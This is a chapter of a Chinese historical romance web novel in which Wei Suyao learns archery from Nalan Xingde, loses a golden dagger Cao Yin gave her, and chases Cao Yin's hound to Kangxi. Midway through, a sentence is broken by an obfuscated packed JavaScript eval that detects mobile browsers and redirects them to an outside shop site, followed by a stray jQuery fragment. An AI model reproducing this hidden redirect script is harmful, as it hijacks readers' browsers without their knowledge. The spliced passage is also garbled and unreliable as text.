直到午间,卫素瑶都没看到曹寅的影,倒是在行宫外碰到了纳兰性德。
她驻足向满清第一词人的真身恭敬拜揖一礼。纳兰性德清癯的脸上露出笑意,想她这礼行得不伦不类,也不知跟谁学的,像是文人士子间的问候。又见她手里拿把弓,怀抱半筒箭矢,心中微微纳罕,温和问:“卫姑娘用膳了么?”
“用过了。”
她四处张望,似在寻人,纳兰性德便提醒她:“皇上在外面检视围场。”
“曹大人也跟皇上在一块吗?”
“你找子清?”他顿了顿道,“他有事,你今日恐怕都见不到他。”
卫素瑶微一沉吟,“那这弓箭,能否劳烦纳兰大人帮我还给曹大人?”
纳兰性德心中更奇,居然是曹寅给她的,“卫姑娘会射箭?”
卫素瑶唇角翘起,“昨天还不会,今早练了一会,勉强能打中一二。”她见纳兰性德疑惑,也不卖关子,笑说,“是曹大人教我的,让我给他猎兔子獐子!”
纳兰性德抿嘴一笑,“子清真是...那卫姑娘下午要参加围猎?”
卫素瑶连摆手,“不不不,我哪猎得中!除非有傻狍子站着给我射,我骑在马上搭箭怕是要摔下来。”
她嘴上虽然很有自知之明,眼里却亮闪闪,有掩饰不住的期待,纳兰性德看在眼里,“如果你不嫌弃,我可以教你骑射,争取给子清猎得一二。”
卫素瑶惊喜万端,“若真如此再好不过!”
-
卫素瑶跟着纳兰性德驰骋拉弓,很快体力便有点跟不上,要求休整。
不过机会难得,她没浪费一点时间,见缝插针地聊了些学霸间的话题。
“纳兰大人文采卓著,高中进士,刊行词本文集,骑射还这么精湛,什么都做得特别好,您每日怎么安排时间呢?”
纳兰性德将水囊放回,投来个讶然目光,笑了笑,耐心答:“家父对我严苛,自小不敢虚度光阴,待到进宫当值,承蒙皇上体恤,安排我去清闲的上驷院,进学与骑射方能两不误。”
卫素瑶点点头,心想原来是皇上给他开了小后门,安排了闲职。她嘿嘿一笑,“那还是极难,给我这些清闲时间,我只怕听曲玩乐就虚度光了。我听说纳兰大人近来还主持编纂了一本《通志堂经解》,皇上极为赏识。”
纳兰性德脸上笑意一僵,神色尴尬,颇为无奈地说:“那是老师辛苦编纂的,哎,我不过一侍卫,何德何能组织士子编修这等儒学著述。老师把集子递上去时,将我的名字抬为首位,我若知道,万不能叫他如此。”
“这什么老师啊。”卫素瑶失笑,头一回见到写论文署名学生的导师。纳兰性德脾气温和有耐心,卫素瑶在他面前并不拘束,笑着直言说:“这岂不是明目张胆拍学生马屁?”
纳兰性德原先对此不耻,不爱与人谈论《通志堂经解》,一则若承认是自己编纂,实在没脸,二则若强调非自己编纂,又打老师的脸。左右骑虎难下,他选择闭口不提。
然而卫素瑶态度大咧咧,直言老师拍马屁。真是,千藏万匿不如说开来,也就一笑了之。
他跟着卫素瑶笑了会,“老师学问很好,只是过于...”他似难以启齿,“过于...”
“过于想进步。”
两人一起大笑。
笑了一会,卫素瑶忽觉不好,担忧道:“哎,能教纳兰大人你的,一定不是一般人吧?”
“是,老师学问声名在外,桃李成蹊,卫姑娘想必也听闻其名,他便是玉峰先生徐乾学。”
“噗!”
纳兰性德转眼看来,“卫姑娘为何是这反应?”
卫素瑶笑得眼睛都湿了,抹泪道:“我说这拍马的手法怎么有点熟悉呢,纳兰大人,那我可占了你大便宜。”
“怎么?”
“徐大人要与我学烹饪,我虽未教他分毫,但他那声师父是喊了,害,计较起来,我算你师祖啦!”她仰着脸拍两下胸脯,十分爽朗张扬,又睨过来建议说,“你回去定要和徐大人好好说道,免得他到处认师,给你认出一堆师祖!”
纳兰性德噙着笑泪,认真说:“一定和他说。”
卫素瑶擦了眼泪,又喝了几口水,方心绪平静。她觉得自己又可以了,站起来说:“我去练练,纳兰大人你再休息会。”
纳兰性德没想到她这么勤,颇感意外。卫素瑶拿起弓,快步上前翻身上马,牵缰绳,勒马头,朗声道:“不能让你们白教,我下午总得猎个什么回来!”
小红马蹄声嘚嘚,马毛在秋日阳光下发出棕红光泽,少女一身嫩绿衫子,一人一马尤为鲜艳,逐渐骑远了。
纳兰性德起身去马厩巡视群马,兜了一圈回来,却见卫素瑶骑马在附近到处转,眼睛盯着草地,脸上现出焦急之色,“卫姑娘怎么了?可是掉了什么东西?”
卫素瑶抬眸,懊恼求助:“丢了一把匕首。”
匕首?纳兰性德没想到她竟随身带匕首,“什么样的?”
“金的柄,柄上调有凶兽的头,嘴里衔着一颗金珠,兽眼是猫眼石。”她刚在附近转了一圈过来,这下说完又勒转马头重新去找。
“约莫几时丢的?确定是在这片马场?”
“我遇着你时还在身上,想来是练骑射时颠落了,我确定在这片马场。”
纳兰性德帮着她一起搜寻,心下却想,怎么她说的金柄匕首,也有个凶兽,也镶嵌了金珠和猫眼石。他一想不对,忙奔驰过去,弯腰自黑靴中拔出一把匕首,一截金柄在日光下耀目闪闪,猫眼石的兽眼里流光漾动,宛若活物。
“卫姑娘,可是这把?”
卫素瑶只略瞧上一眼,立即发出“啊”一声惊呼,喜道:“没错!”她正要上前取,纳兰性德却将匕首往靴子里一插。
“纳兰大人,请还给我!”
纳兰性德望她一眼,心潮汹涌,“卫姑娘的匕首从何而来?”
卫素瑶急道:“对不住,我不方便说,但此物贵重,我丢不起。”正是贵重,怕丢才带在身上,谁知道恰恰因此而丢。
纳兰性德骑马靠近一些,声音压低了,“是子清给的?”
卫素瑶想,既然他都猜到了,也没什么好瞒,点头道:“是。”
纳兰性德倒吸一口气,“那的确丢不得。”
“既如此,还请大人还我。”卫素瑶伸出手掌。
纳兰性德指着靴头,“金柄匕首世上只有三把,我这把兽眼是淡黄色,狼覃侍卫的是灰蓝色,子清的是金绿色。”
卫素瑶牵马退开几步,心中惊异,片刻后又泄气道:“刚才那把是你的。”
她重又骑开,俯视着地面寻找,一圈又一圈。后来她干脆下马步行,每遇草茂处,将草翻拨开了翻找。不知不觉间,手腕上竟被刮出几道细血痕。
纳兰性德遥遥见了,心里只是突突,这么珍贵而意义非凡之物,子清却送给看似与他毫无关系的人。他想起昨晚子清说,“那我就静静看着她”,细想他当时神情,似是有所感怀,又想起他说“若那人有意,我自然要争,若那人无意,争只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163693|138799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会令自己像小丑”,纳兰性德似乎明白了什么,却又有些不明。
他下马走至卫素瑶近前,对方立即说:“纳兰大人帮我一起找找吧!”
纳兰性德却不急,“子清为什么送你匕首?”
卫素瑶投来奇怪的一眼,“我看中了央他送的,”片刻后,她灰心丧气地承认,“我逼他送的。”
“谁能逼得了子清。”纳兰性德唇边勾起一丝古怪的笑。
“这不重要,现在东西丢了,赶紧找到才是重点!”卫素瑶有点急了,急得对纳兰性德的慢性子生出怨气,他不帮忙找就算了,还频频打扰自己。
“既给了你,便是你的东西,他不会怪你丢了的。”
“你怎么还不懂呢!”卫素瑶跺了下脚,睁着黑白分明的眸子,“纳兰大人,我喜欢那把小刀,我舍不得丢,都还没用过呢心疼死了!”
纳兰性德便不再与她闲扯,四处望了一眼,“卫姑娘,地上你已找了几遍了,有没有可能不在地上,落在了别处?马鞍里头翻找看看呢?”
卫素瑶立刻转身跑去马侧,两下翻了马鞍,并未看到匕首的影子,丧气地摊摊手,“没有。”
她呆呆地往地上一坐,似乎极累。纳兰性德正要上前安慰她几句,远处犬吠声响,很快响了,近了。
一只黑犬吭哧吭哧奔来,停在草坡上吠一阵,又拔腿跑一阵,吸着鼻子狂吠。渐渐地跑入马场,四处寻着什么,折冲进马厩,惊得群马嘶鸣。
后面追来一名兵卫,“跑哪里去!你跑哪里去!”竟是来追狗的。
纳兰性德立时去马厩里,以免猎犬惊吓群马,影响下午行猎。那猎犬却一头扎进马槽里,头出来时湿淋淋的,狗嘴里叼了把匕首。
“卫姑娘快来!你的匕首找着了。”
卫素瑶闻声进马槽,看到黑犬睁着凶悍的双目,嘴里叼着金灿灿的匕首,摇头甩水。
卫素瑶喜不自胜,蹲在猎犬前,有点怕地碰了一下它的头,“你真聪明,我怎么没想到是掉在马槽里了?多谢了。”
她小心翼翼去捏着匕首的一端,扯一扯,“乖,给我。”
那猎犬将牙摇得死死的。
“给我。”
“给我!”
“给我听到没有!”
猎犬跑开了。
卫素瑶去追,“你跑哪去?”
猎犬耸动屁股,跑得飞快,卫素瑶追得筋疲力尽,一打眼发觉自己已跑入行宫,她扒拉着柱子,喘得上气不接下气。
也不知道那破狗上哪去了,一时看不懂狗影,卫素瑶心里恨,眼瞅着拿回匕首,生生又不见了。
前方殿门中,梁九功探脸出来,“咦,”他回头朝里,拖着嗓子,“皇上,是卫姑娘。”
片刻后,康熙长身玉立出现在廊下,朝她浅笑,“玩什么了,玩成这样狼狈?”
卫素瑶擦了汗,断断续续道:“狗,狗叼走了我的匕首,我跟丢了,皇上,你可看见一只猎犬?”
康熙沉吟着回头,他身后殿门里立时跳出一只黑犬,黑犬后边跟着曹寅,神情颇为古怪。
康熙对曹寅笑道:“你这爱犬怎么喜欢上叼匕首了?”
“臣回头一定好好管教它。”
康熙淡然“嗯”了一声,对卫素瑶说:“朕没看见它拿你的匕首。”
卫素瑶固执道:“我明明看它叼着跑进去的。”
康熙眉梢一挑,忽然明白了什么,神情变得冷肃,“子清,你倒会借花献佛,朕特意赏你的东西,你也拿去送人?”